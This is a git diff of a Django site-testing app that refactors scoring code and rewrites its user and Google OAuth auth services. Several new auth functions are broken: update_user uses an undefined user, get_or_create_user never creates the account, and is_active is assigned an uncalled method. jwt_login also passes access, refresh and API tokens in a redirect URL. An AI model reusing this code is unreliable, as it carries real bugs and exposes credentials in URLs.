 
+        # return score
         return html_raw_score
 
 
 
-    def compare_logs(self):
+
+    def compare_logs(self) -> float:
+        # calculates the similarity of pre and post logs
+        # using SequenceMatcher()
+
+        # clean logs first
         self.clean_logs()
-        pre_scan = list(self.pre_scan_logs)
-        post_scan = list(self.post_scan_logs)
+
+        # calculate score
         logs_raw_score = SequenceMatcher(
-            None, pre_scan, post_scan
+            None, self.pre_scan_logs, self.post_scan_logs
         ).ratio()
 
+        # return score
         return logs_raw_score
 
 
-    def delta_html(self):
+
+
+    def delta_html(self) -> dict:
+        # Calculates the macro difference in pre_ & post_ html
+        # (i.e. difference in html nodes <div></div>).
+        # also generates the micro differences 
+        # using self.post_proc_html()
+
+        # calculate macro difference 
         num_html_delta = len(self.pre_scan_html) - len(self.post_scan_html)
         num_html_ratio = len(self.pre_scan_html) / len(self.post_scan_html)
         if num_html_ratio > 1:
             num_html_ratio = len(self.post_scan_html) / len(self.pre_scan_html)
         
+        # building data for post_proc_html()
         for line in self.post_scan_html:
             if line not in self.pre_scan_html:
                 self.delta_html_post.append(line)
-
         for line in self.pre_scan_html:
             if line not in self.post_scan_html:
                 self.delta_html_pre.append(line)
 
-
+        # get pre_mciro_delta in html
         pre_micro_delta = self.post_proc_html(
             self.delta_html_pre, 
             self.delta_html_post
         )
 
+        # get post_mciro_delta in html
         post_micro_delta = self.post_proc_html(
             self.delta_html_post, 
             self.delta_html_pre
         )
             
-    
+        # formatting data
         data = {
             "num_html_delta": num_html_delta,
             "delta_html_post": self.delta_html_post,
@@ -158,10 +216,17 @@ def delta_html(self):
             "post_micro_delta": post_micro_delta,
         }
 
+        # return updated data
         return data
 
 
-    def post_proc_html(self, primary_list, secondary_list):
+
+
+    def post_proc_html(self, primary_list: list, secondary_list: list) -> dict:
+        # generates a list of 8 char long chunks that are in 
+        # the primary_list but not in the secondary_list
+
+        # setting defaults
         delta_parsed = []
         delta_parsed_diff = []
         secondary_str = ''.join(str(i) for i in secondary_list)
@@ -177,67 +242,89 @@ def post_proc_html(self, primary_list, secondary_list):
             if block != None and block != '' and block not in secondary_str:
                 delta_parsed_diff.append(block)
 
+        # formatting data
         data = {
             "delta_parsed": delta_parsed,
             "delta_parsed_diff": delta_parsed_diff,
         }
 
+        # returning updated data
         return data
 
 
 
 
-    def html_micro_diff_score(self, post_delta_parsed_diff):
+    def html_micro_diff_score(self, post_delta_parsed_diff: list) -> float:
+        # Calculates a score by comparing 
+        # post_delta_parsed_diff & pre_delta_parsed_diff
 
+        # building pre_delta_parsed_diff
         pre_delta_parsed_diff = []
         for line in self.pre_scan_html:
             subStrings = re.findall('.{1,8}', line)
             for sub in subStrings:
                 pre_delta_parsed_diff.append(sub)
-
+        
+        # calculate score
         diff_length = len(pre_delta_parsed_diff) - len(post_delta_parsed_diff)
         diff_score = diff_length / len(pre_delta_parsed_diff)
 
+        # return score
         return diff_score
 
     
 
     
-    def post_proc_logs(self, log):
+    def post_proc_logs(self, log: str) -> dict:
+        # cleaning logs for comparions 
+        # and convert to a dict
+
+        # clean message
         log = json.loads(log)
-        log["message"].replace("\"", "\'")        
-        letters = string.digits
-        timestamp = ''.join(random.choice(letters) for i in range(13))
+        log["message"].replace("\"", "\'") 
+
+        # generate random timestamp
+        nums = string.digits
+        timestamp = ''.join(random.choice(nums) for i in range(13))
         log['timestamp'] = timestamp
 
+        # return cleaned log
         return log
 
        
 
 
-    def delta_logs(self):
+    def delta_logs(self) -> dict:
+        # Calculates scores for log differences 
+        # and builds lists to show diffferences
+
+        # defaults
+        num_logs_ratio = 1
+        delta_logs_post = []
+        delta_logs_pre = []
+
+        # calc nums_log_delta (were there more in post_scan?)
         num_logs_delta = len(self.pre_scan_logs) - len(self.post_scan_logs)
 
+        # calculate ratio
         if len(self.post_scan_logs) > 0:
             num_logs_ratio = len(self.pre_scan_logs) / len(self.post_scan_logs)
             if num_logs_ratio > 1:
-                num_logs_ratio = 1
-        else:
-            num_logs_ratio = 1
+                num_logs_ratio = 1            
         
-        delta_logs_post = []
+        # build list of not present post_scan_logs
         for log in self.post_scan_logs:
             if log not in self.pre_scan_logs:
                 log = self.post_proc_logs(log)
                 delta_logs_post.append(log)
-
-
-        delta_logs_pre = []
+        
+        # build list of not present pre_scan_logs  
         for log in self.pre_scan_logs:
             if log not in self.post_scan_logs:
                 log = self.post_proc_logs(log)
                 delta_logs_pre.append(log)
 
+        # formatting data
         data = {
             "num_logs_delta": num_logs_delta,
             "delta_logs_post": delta_logs_post,
@@ -245,26 +332,32 @@ def delta_logs(self):
             "num_logs_ratio": num_logs_ratio,
         }
 
+        # returning data
         return data
 
 
 
 
+    def delta_lighthouse(self) -> dict:
+        # calculate the differences in LH 
+        # scores between pre_ and post_ scans
 
-    def delta_lighthouse(self):
         try:
+            # get pre scores
             pre_seo = int(self.test.pre_scan.lighthouse["scores"]['seo'])
             pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility'])
             pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance'])
             pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices'])
             pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa'])
             
+            # get post scores
             post_seo = int(self.test.post_scan.lighthouse["scores"]['seo'])
             post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility'])
             post_performance = int(self.test.post_scan.lighthouse["scores"]['performance'])
             post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices'])
             post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa'])
 
+            # try to get pre and post crux scores
             try:
                 pre_crux = int(self.test.pre_scan.lighthouse["scores"]['crux'])
                 post_crux = int(self.test.post_scan.lighthouse["scores"]['crux'])
@@ -274,34 +367,34 @@ def delta_lighthouse(self):
                 post_crux = None
                 crux_delta = 0
 
+            # calculate individual deltas
             seo_delta = post_seo - pre_seo
             accessibility_delta = post_accessibility - pre_accessibility 
             performance_delta = post_performance - pre_performance
             best_practices_delta = post_best_practices - pre_best_practices
             pwa_delta = post_pwa - pre_pwa
             
+            # calculate averages 
             if post_crux is None:
                 current_average = (
                     post_seo + post_accessibility + post_best_practices + 
                     post_performance + post_pwa 
                 )/5
-                
                 old_average = (
                     pre_seo + pre_accessibility + pre_best_practices + 
                     pre_performance + pre_pwa 
                 )/5
-            
             else:
                 current_average = (
                     post_seo + post_accessibility + post_best_practices + 
                     post_performance + post_pwa + post_crux
                 )/6
-                
                 old_average = (
                     pre_seo + pre_accessibility + pre_best_practices + 
                     pre_performance + pre_pwa + pre_crux
                 )/6
 
+            # calculate difference in averages
             average_delta = current_average - old_average 
 
         except:
@@ -314,6 +407,7 @@ def delta_lighthouse(self):
             current_average = None
             average_delta = None
 
+        # formatting data
         data = {
             "scores": {
                 "seo_delta": seo_delta,
@@ -327,15 +421,18 @@ def delta_lighthouse(self):
             }
         }
 
+        # returning data
         return data
 
 
 
 
+    def delta_yellowlab(self) -> dict:
+        # calculate the differences in YL 
+        # scores between pre_ and post_ scans
 
-
-    def delta_yellowlab(self):
         try:
+            # get pre scores
             pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore'])
             pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight'])
             pre_images = int(self.test.pre_scan.yellowlab["scores"]['images'])
@@ -347,7 +444,8 @@ def delta_yellowlab(self):
             pre_badCSS = int(self.test.pre_scan.yellowlab["scores"]['badCSS'])
             pre_fonts = int(self.test.pre_scan.yellowlab["scores"]['fonts'])
             pre_serverConfig = int(self.test.pre_scan.yellowlab["scores"]['serverConfig'])
-
+            
+            # get post scores
             post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore'])
             post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight'])
             post_images = int(self.test.post_scan.yellowlab["scores"]['images'])
@@ -360,6 +458,7 @@ def delta_yellowlab(self):
             post_fonts = int(self.test.post_scan.yellowlab["scores"]['fonts'])
             post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig'])
 
+            # calculate individual deltas
             pageWeight_delta = post_pageWeight - pre_pageWeight
             images_delta = post_images - pre_images
             domComplexity_delta = post_domComplexity - pre_domComplexity
@@ -371,9 +470,10 @@ def delta_yellowlab(self):
             fonts_delta = post_fonts - pre_fonts
             serverConfig_delta = post_serverConfig - pre_serverConfig 
 
-            average_delta = post_globalScore - pre_globalScore 
+            # get current averag and calc average_delta
             current_average = post_globalScore
-
+            average_delta = post_globalScore - pre_globalScore 
+            
         except:
             pageWeight_delta = None
             images_delta = None
@@ -388,6 +488,7 @@ def delta_yellowlab(self):
             average_delta = None
             current_average = None,
 
+        # formatting response
         data = {
             "scores": {
                 "pageWeight_delta": pageWeight_delta, 
@@ -405,11 +506,17 @@ def delta_yellowlab(self):
             }
         }
 
+        # returning data
         return data
 
 
 
-    def update_site_info(self, test):
+
+    def update_site_info(self, test: object) -> object:
+        # updates associated Site with 
+        # new Test data
+
+        # get associated site
         site = test.site
 
         # get pages
@@ -426,31 +533,51 @@ def update_site_info(self, test):
         if len(tests) > 0:
             # calc site average of latest
             site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
-
+            
+            # update site info
             site.info['latest_test']['id'] = str(test.id)
             site.info['latest_test']['time_created'] = str(test.time_created)
             site.info['latest_test']['time_completed'] = str(test.time_completed)
             site.info['latest_test']['score'] = site_avg_test_score
             site.save()
 
+        # returning updated site
         return site
 
 
 
-    def update_page_info(self, test):
+
+    def update_page_info(self, test: object) -> object:
+        # updates associated Page with 
+        # new Test data
+
+        # get page
         page = test.page
+
+        # update page info
         page.info['latest_test']['id'] = str(test.id)
         page.info['latest_test']['time_created'] = str(test.time_created)
         page.info['latest_test']['time_completed'] = str(test.time_completed)
         page.info['latest_test']['score'] = (round(test.score * 100) / 100)
         page.save()
 
+        # return updated page
         return page
-        
 
 
 
-    def run_test(self, index=None):
+
+    def run_test(self, index: int=None) -> object:
+        """ 
+        Runs all the test components specified in the `Test`
+        and returns the updated `Test`
+
+        Expects: {
+            'index': int
+        }
+
+        Returns -> `Test` object
+        """
 
         # update test obj with scan configs
         self.test.pre_scan_configs = self.test.pre_scan.configs
@@ -485,8 +612,7 @@ def run_test(self, index=None):
         yellowlab_data = None
         images_data = None
 
-
-
+        # testing html
         if 'html' in self.test.type or 'full' in self.test.type:
             try:
                 # scores
@@ -534,8 +660,7 @@ def run_test(self, index=None):
             except Exception as e:
                 print(e)
         
-        
-
+        # testing logs
         if 'logs' in self.test.type or 'full' in self.test.type:
             try:
                 # scores
@@ -555,8 +680,7 @@ def run_test(self, index=None):
             except Exception as e:
                 print(e)
 
-
-
+        # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
@@ -578,9 +702,7 @@ def run_test(self, index=None):
             except Exception as e:
                 print(e)
 
-
-        
-
+        # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
@@ -602,13 +724,11 @@ def run_test(self, index=None):
             except Exception as e:
                 print(e)
 
-
-
-
+        # testing images
         if 'vrt' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
-                images_data = Image().test(test=self.test, index=index)
+                images_data = Imager().test(test=self.test, index=index)
                 if images_data['average_score'] != None:
                     images_score = images_data['average_score'] / 100
 
@@ -617,15 +737,14 @@ def run_test(self, index=None):
             except Exception as e:
                     print(e)
         
-        
-
+        # calculating total weight
         total_w = (
             html_score_w + logs_score_w + num_html_w 
             + num_logs_w + delta_lh_w + micro_diff_w
             + images_w + delta_yl_w
         )
         
-        
+        # calculating final weighted average score
         score = ((
             (html_score * html_score_w) + 
             (logs_score * logs_score_w) + 
@@ -637,7 +756,6 @@ def run_test(self, index=None):
             (images_score * images_w)
         ) / total_w) * 100
 
-        
         print(
             "Formula was --> ((" + str(html_score*html_score_w) + " + " 
             + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " 
@@ -646,7 +764,7 @@ def run_test(self, index=None):
             " + " + str(yellowlab_score*delta_yl_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score)
         )
 
-
+        # updating test data
         self.test.time_completed = datetime.now()
         self.test.html_delta = html_delta_uri
         self.test.logs_delta = logs_delta_context
@@ -659,13 +777,13 @@ def run_test(self, index=None):
         self.test.component_scores['lighthouse'] = (lighthouse_score * 100)
         self.test.component_scores['yellowlab'] = (yellowlab_score * 100)
         self.test.component_scores['vrt'] = (images_score * 100)
-
-
         self.test.save()
 
+        # updating associated page and site
         self.update_page_info(self.test)
         self.update_site_info(self.test)
 
+        # returning updated test
         return self.test
 
 
@@ -673,4 +791,3 @@ def run_test(self, index=None):
 
 
 
-
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index e3f5294d..adfecd13 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -1,5 +1,10 @@
 import os, requests, json
 
+
+
+
+
+
 def verify():
     username = os.environ.get('ADMIN_USER')
     email = os.environ.get('ADMIN_EMAIL')
diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py
index ea45ef3a..d3821cbb 100644
--- a/app/api/utils/wordpress.py
+++ b/app/api/utils/wordpress.py
@@ -11,7 +11,6 @@
 
 
 
-
 class Wordpress():
 
 
diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py
index 1c2632e2..b2a2a68d 100644
--- a/app/api/utils/wordpress_p.py
+++ b/app/api/utils/wordpress_p.py
@@ -9,7 +9,6 @@
 
 
 
-
 class Wordpress():
 
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 3fb43b37..7270f523 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,13 +1,19 @@
-import subprocess, json, uuid, boto3, \
-shutil, os, requests, time
+import subprocess, json, uuid, boto3, os, requests, time
 from ..models import Site, Scan
 from scanerr import settings
 
 
 
+
+
+
 class Yellowlab():
 
-    """Initializes Yellow Lab Tools CLI and runs an audit of the site"""
+    """
+    Initializes Yellow Lab Tools CLI and runs an audit of the site
+
+    Use self.get_data() to init a run
+    """
 
 
     def __init__(self, scan=None, configs=None):
diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py
deleted file mode 100644
index 5acaef68..00000000
--- a/app/api/v1/auth/alerts.py
+++ /dev/null
@@ -1,142 +0,0 @@
-from django.core.mail import send_mail, send_mass_mail
-from django.contrib.auth.models import User
-from django.template.loader import render_to_string
-from datetime import date
-import os, operator
-from ...models import *
-from django.utils.html import strip_tags
-from django.contrib.auth.models import User
-from rest_framework_simplejwt.tokens import RefreshToken
-from rest_framework.response import Response
-from ...utils.alerts import sendgrid_email
-from scanerr import settings
-
-
-
-
-def send_reset_link(email):
-    if User.objects.filter(email=email).exists():
-        user = User.objects.get(email=email)
-        token = RefreshToken.for_user(user)
-        access_token = str(token.access_token)
-        reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token)
-        subject = 'Rest Password'
-        title = 'Reset Password'
-        pre_header = 'Reset Password'
-        pre_content = 'Click the link below to reset your password.'
-        greeting = f'Hi there,'
-
-        subject = subject
-        context = {
-            'greeting': greeting,
-            'title' : title,
-            'subject' : subject,
-            'email': email,
-            'pre_header' : pre_header,
-            'pre_content' : pre_content,
-            'object_url' : reset_link,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
-            'button_text' : 'Rest my password',
-            'content' : '',
-            'signature' : '- Cheers!',
-        }
-
-        sendgrid_email(message_obj=context)
-
-        data = {
-            'success': True
-        }
-    
-    else:
-        data = {
-            'success': False
-        }
-        
-    return data
-
-
-
-
-
-
-
-def send_invite_link(member):
-    if Member.objects.filter(email=member.email, status="pending").exists():
-        member = Member.objects.get(id=member.id)
-        link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}'
-        subject = 'Scanerr Invite'
-        title = 'Scanerr Invite'
-        pre_header = 'Scanerr Invite'
-        pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!'
-        greeting = 'Hi there,'
-
-        subject = subject
-        context = {
-            'greeting': greeting,
-            'title' : title,
-            'subject' : subject,
-            'email': member.email,
-            'pre_header' : pre_header,
-            'pre_content' : pre_content,
-            'object_url' : link,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
-            'button_text' : 'Accept Invite',
-            'content' : '',
-            'signature' : '- Cheers!',
-        }
-        
-        sendgrid_email(message_obj=context)
-
-        data = {
-            'success': True
-        }
-    
-    else:
-        data = {
-            'success': False
-        }
-        
-    return data
-
-
-
-
-
-def send_remove_alert(member):
-    if Member.objects.filter(email=member.email, status="removed").exists():
-        member = Member.objects.get(id=member.id)
-        subject = 'Removed From Account'
-        title = 'Removed From Account'
-        pre_header = 'Removed From Account'
-        pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.'
-        greeting = 'Hi there,'
-
-        subject = subject
-        context = {
-            'greeting' : greeting,
-            'title' : title,
-            'subject' : subject,
-            'email': member.email,
-            'pre_header' : pre_header,
-            'pre_content' : pre_content,
-            'object_url' : None,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
-            'content' : '',
-            'signature' : '- Cheers!',
-        }
-
-        sendgrid_email(message_obj=context)
-
-        # delete member obj
-        member.delete()
-
-        data = {
-            'success': True
-        }
-    
-    else:
-        data = {
-            'success': False
-        }
-        
-    return data
\ No newline at end of file
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 091b0449..58617019 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -10,6 +10,11 @@
 from rest_framework import routers, serializers, viewsets
 from rest_framework.fields import UUIDField
 
+
+
+
+
+
 kwargs = {
     'allow_null': False, 
     'read_only': True, 
@@ -18,6 +23,7 @@
 
 
 
+
 class UserSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = User
@@ -26,6 +32,7 @@ class Meta:
 
 
 
+
 class LoginSerializer(TokenObtainPairSerializer):
 
     def validate(self, attrs):
@@ -45,6 +52,8 @@ def validate(self, attrs):
         return data
 
 
+
+
 class RegisterSerializer(UserSerializer):
     password = serializers.CharField(max_length=128, min_length=8, write_only=True, required=True)
     email = serializers.EmailField(required=True, write_only=True, max_length=128)
@@ -63,6 +72,7 @@ def create(self, validated_data):
 
 
 
+
 class AccountSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -77,6 +87,7 @@ class Meta:
 
 
 
+
 class MemberSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
@@ -89,4 +100,5 @@ class Meta:
         ]
 
 
-        
\ No newline at end of file
+
+
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 8be07818..e118ead7 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -1,27 +1,29 @@
-import requests, os, subprocess, secrets
-from typing import Dict, Any
-from scanerr import settings
-from django.http import HttpResponse
-from django.db import transaction
-from rest_framework import status, serializers
-from rest_framework_simplejwt.tokens import RefreshToken
+
+
 from django.core.exceptions import ValidationError
-from django.forms.models import model_to_dict
 from django.contrib.auth.models import User
+from django.contrib.auth.middleware import get_user
+from django.contrib.auth.password_validation import validate_password
 from django.shortcuts import get_object_or_404
 from rest_framework.authtoken.models import Token
-from ...models import Account, Card, Member, Site
-from ..ops.services import record_api_call
+from rest_framework.response import Response
+from rest_framework.pagination import LimitOffsetPagination
+from rest_framework import status, serializers
+from rest_framework_simplejwt.tokens import RefreshToken
 from slack_sdk.oauth import AuthorizeUrlGenerator
 from slack_sdk.oauth.installation_store import FileInstallationStore, Installation
 from slack_sdk.oauth.state_store import FileOAuthStateStore
 from slack_sdk.web import WebClient
+from ...models import Account, Card, Member, Site
+from ..ops.services import record_api_call
 from .serializers import *
-from .alerts import *
+from ...utils.alerts import send_reset_link
 from ...tasks import send_invite_link_bg, send_remove_alert_bg
-from rest_framework.response import Response
-from rest_framework.pagination import LimitOffsetPagination
-from django.contrib.auth.middleware import get_user
+from scanerr import settings
+import requests, os, subprocess, secrets
+
+
+
 
 
 
@@ -30,108 +32,342 @@
 GOOGLE_USER_INFO_URL = 'https://www.googleapis.com/oauth2/v3/userinfo'
 
 
-def jwt_login(*, user: User):
-    refresh = RefreshToken.for_user(user)
-    access = str(refresh.access_token)
-    refresh = str(refresh)
+
+
+### ------ Begin User Services ------ ###
+
+
+
+
+def register_user(request: object) -> object: 
+    """ 
+    Creates a User object and returns a request 
+
+    Expects the following:
+        'email'      : str,
+        'password'   : str,
+        'first_name' : str,
+        'last_name'  : str,
+
+    Returns -> data: {
+        'user'      : dict,
+        'token'    : str,
+        'refresh'   : str,
+        'api_token' : str
+    }
+    """
+
+    # get data
+    password = request.data.get('password')
+    username = request.data.get('username')
+    first_name = request.data.get('first_name')
+    last_name = request.data.get('last_name')
+
+    # validate requests
+    if (password is None or len(password) == 0) or \
+        (username is None or len(username) == 0):
+        data = {'detail': 'Must provide an email and password.'}
+        return Response(data=data, status=status.HTTP_400_BAD_REQUEST)
+
+    if User.objects.filter(username=username).exists():
+        data = {'detail': 'Account already exists.'}
+        return Response(data=data, status=status.HTTP_409_CONFLICT)
     
-    if Token.objects.filter(user=user).exists():
-        api_token = Token.objects.get(user=user)
-    else:
+    # validate password and create user
+    if validate_password(password) == None:
+            
+        # create user
+        user = User.objects.create(
+            username=username,
+            email=username,
+            first_name=first_name,
+            last_name=last_name
+        )
+
+        # setting password
+        user.set_password(raw_password=password)
+        user.save()
+        
+        # generating JWTs
+        refresh = RefreshToken.for_user(user)
+
+        # generate API token
         api_token = Token.objects.create(user=user)
+        
+        # returning data
+        data = {
+            'user': UserSerializer(user).data,
+            'token': str(refresh.access_token),
+            'refresh': str(refresh),
+            'api_token': str(api_token.key)
+        }
+        return Response(data=data, status=status.HTTP_201_CREATED)
 
-    if user.is_active == True:
-        is_active = 'true'
     else:
-        is_acive = 'false'
+        data = {'detail': 'Please choose a stronger password.'}
+        return Response(data=data, status=status.HTTP_400_BAD_REQUEST)
 
-    param_string = str(
-        '?access='+access+'&refresh='+refresh+
-        '&username='+user.username+'&id='+str(user.id)+
-        '&email='+user.email+'&is_active='+is_active+
-        '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+
-        '&api_token='+str(api_token.key)
-    )
 
-    lead_string = str(settings.CLIENT_URL_ROOT+'/google-confirm')
+
+
+def login_user(request: object) -> object: 
+    """ 
+    Creates a User object and returns a request 
+
+    Expects the following:
+        'email'    : str,
+        'password' : str
+
+    Returns -> data: {
+        'user'      : dict,
+        'token'    : str,
+        'refresh'   : str,
+        'api_token' : str
+    }
+    """
+
+    # get data
+    password = request.data.get('password')
+    username = request.data.get('username')
+
+    # validate requests
+    if (password is None or len(password) == 0) or \
+        (username is None or len(username) == 0):
+        data = {'detail': 'Must provide an email and password.'}
+        return Response(data=data, status=status.HTTP_400_BAD_REQUEST)
+
+    # setting defalt response
+    data = {'detail': 'No account found with the given credentials.'}
+
+    # checking is User exists via provided username
+    if User.objects.filter(username=username).exists():
+
+        # retrieving User obj
+        user = User.objects.get(username=username)
+
+        # validating password
+        if user.check_password(password):
+
+            # generating JWTs
+            refresh = RefreshToken.for_user(user)
+
+            # get API token
+            api_token = Token.objects.get(user=user)
+            
+            # returning data
+            data = {
+                'user': UserSerializer(user).data,
+                'token': str(refresh.access_token),
+                'refresh': str(refresh),
+                'api_token': str(api_token.key)
+            }
+            return Response(data=data, status=status.HTTP_201_CREATED)
+
+        else:
+            return Response(data=data, status=status.HTTP_401_UNAUTHORIZED)
+    else:
+        return Response(data=data, status=status.HTTP_401_UNAUTHORIZED)
+
+
+
+
+def update_user(request: object) -> object:
+    """ 
+    Updates the User with the passed "email".
+
+    Expects: {
+        'request': object
+    }    
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    email = request.data.get('email')
+
+    # check if an email is already associated with a user
+    if User.objects.filter(email=email).exists():
+        return Response(status=status.HTTP_417_EXPECTATION_FAILED)
     
-    redirect_url = lead_string + param_string
+    # update user email
+    user.username = email
+    user.email = email
+    user.save()
 
-    return redirect_url
+    # serialize and return
+    data = UserSerializer(user).data
+    return Response(data, status=status.HTTP_200_OK)
 
 
 
 
-def user_create(email, password=None, **extra_fields) -> User:
-    extra_fields = {
-        'is_staff': False,
-        'is_superuser': False,
-        **extra_fields
+def update_password(request: object) -> object:
+    """ 
+    Updates the User with the passed "password".
+
+    Expects: {
+        'request': object
+    }    
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    password = request.data.get('password')
+    user = request.user 
+
+    try:
+        # validate password
+        if validate_password(password, user=user) == None:
+
+            # udpdate password
+            user.set_password(password)
+            user.save()
+
+            # return success
+            return Response(status=status.HTTP_200_OK)
+    
+    except:
+        # respond with error
+        return Response(status=status.HTTP_417_EXPECTATION_FAILED) 
+
+
+
+
+def send_reset_email(request: object) -> object:
+    """ 
+    Sends a password reset email to the 
+    User that matches the passed "email".
+
+    Expects: {
+        'request': object
     }
 
-    user = User.objects.create(
-        username=email, 
-        email=email, 
-        **extra_fields
-    )
+    Returns -> HTTP Response object
+    """
 
-    # creating API token
-    Token.objects.create(user=user)
+    # get request data
+    email = request.data.get('email')
 
-    user.set_unusable_password()
-    user.full_clean()
-    user.save()
+    # send 
+    resp = send_reset_link(email)
+    
+    if resp.get('success') == True:
+        return Response(status=status.HTTP_200_OK)
+    
+    return Response(status=status.HTTP_404_NOT_FOUND)
 
-    return user
 
 
 
-def create_user_token(request):
-    # creating New API token
-    if Token.objects.filter(user=request.user).exists():
-        old_token = Token.objects.get(user=request.user)
-        old_token.delete()
+### ------ Begin GoogleAuth Services ------ ###
+
+
+
+
+def jwt_login(*, user: object) -> str:
+    """
+    Gets JWTs for passed "user" and builds a 
+    redirect url for returning user params back to 
+    Scanerr.client
     
-    api_token = Token.objects.create(user=request.user)
-    data = {'api_token': api_token.key,}
-    return Response(data, status=status.HTTP_200_OK)
+    Expect: {
+        'user': object
+    }
 
+    Returns -> str
+    """
+
+    # get JWTs for user
+    refresh = RefreshToken.for_user(user)
+    access = str(refresh.access_token)
+    refresh = str(refresh)
+    
+    # create API token if none exists
+    if not Token.objects.filter(user=user).exists():
+        Token.objects.create(user=user)
+
+    # get API token
+    api_token = Token.objects.get(user=user)
+        
+    # setting user active
+    is_active = str(user.is_active).lower
 
+    # building params for redirect
+    param_string = str(
+        '?access='+access+'&refresh='+refresh+
+        '&username='+user.username+'&id='+str(user.id)+
+        '&email='+user.email+'&is_active='+is_active+
+        '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+
+        '&api_token='+str(api_token.key)
+    )
+
+    # build redirect url
+    redirect_url = f'{settings.CLIENT_URL_ROOT}/google-confirm{param_string}'
+
+    # return redirect
+    return redirect_url
 
 
-def user_get_or_create(*, email: str, **extra_data):
+
+
+def get_or_create_user(email: str,  **extra_fields) -> object:
+    """ 
+    Creates a new `User` with the passed "email".
+    
+    Expects: {
+        'email' : str, 
+    }
+
+    Returns -> User object 
+    """
+
+    # trying to find user
     user = User.objects.filter(email=email).first()
 
+    # return user if found
     if user:
         return user
 
-    return user_create(email=email, **extra_data)
-
+    # formating extra passed data
+    extras = {
+        'is_staff': False,
+        'is_superuser': False,
+    }
 
+    # format user's names
+    if extra_fields.get('first_name') is not None:
+        extras['first_name'] = extra_fields.get('first_name')
+    if extra_fields.get('last_name') is not None:
+        extras['last_name'] = extra_fields.get('last_name')
 
+    # creating API token
+    Token.objects.create(user=user)
 
-def google_validate_id_token(*, id_token: str):
-    # Reference: https://developers.google.com/identity/sign-in/web/backend-auth#verify-the-integrity-of-the-id-token
-    response = requests.get(
-        GOOGLE_ID_TOKEN_INFO_URL,
-        params={'id_token': id_token}
-    )
+    # setting password 
+    user.set_unusable_password()
+    user.full_clean()
+    user.save()
 
-    if not response.ok:
-        raise ValidationError('id_token is invalid.')
+    # returning new User
+    return user
 
-    audience = response.json()['aud']
 
-    if audience != settings.GOOGLE_OAUTH2_CLIENT_ID:
-        raise ValidationError('Invalid audience.')
 
-    return True
 
+def google_get_access_token(*, code: str, redirect_uri: str) -> str:
+    """ 
+    Get an access token from Google OAuth2 API
 
+    Expects: {
+        'code'         : str,
+        'redirect_uri' : str
+    }
 
+    Returns -> str
+    """
 
-def google_get_access_token(*, code: str, redirect_uri: str) -> str:
-    # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#obtainingaccesstokens
+    # format request data
     data = {
         'code': code,
         'client_id': settings.GOOGLE_OAUTH2_CLIENT_ID,
@@ -140,39 +376,126 @@ def google_get_access_token(*, code: str, redirect_uri: str) -> str:
         'grant_type': 'authorization_code'
     }
 
+    # send google request
     response = requests.post(GOOGLE_ACCESS_TOKEN_OBTAIN_URL, data=data)
 
     if not response.ok:
         raise ValidationError('Failed to obtain access token from Google.')
 
+    # parse access_token
     access_token = response.json()['access_token']
 
+    # return access token
     return access_token
 
 
 
 
-def google_get_user_info(*, access_token: str) -> Dict[str, Any]:
-    # Reference: https://developers.google.com/identity/protocols/oauth2/web-server#callinganapi
+def google_get_user_info(*, access_token: str) -> dict:
+    """ 
+    Gets User info from google OAuth2 API
+
+    Expects: {
+        'access_token'
+    }
+
+    Returns -> dict
+    """
+
+    # send request
     response = requests.get(
         GOOGLE_USER_INFO_URL,
         params={'access_token': access_token}
     )
 
+    # check for errors
     if not response.ok:
         raise ValidationError('Failed to obtain user info from Google.')
 
+    # return user info
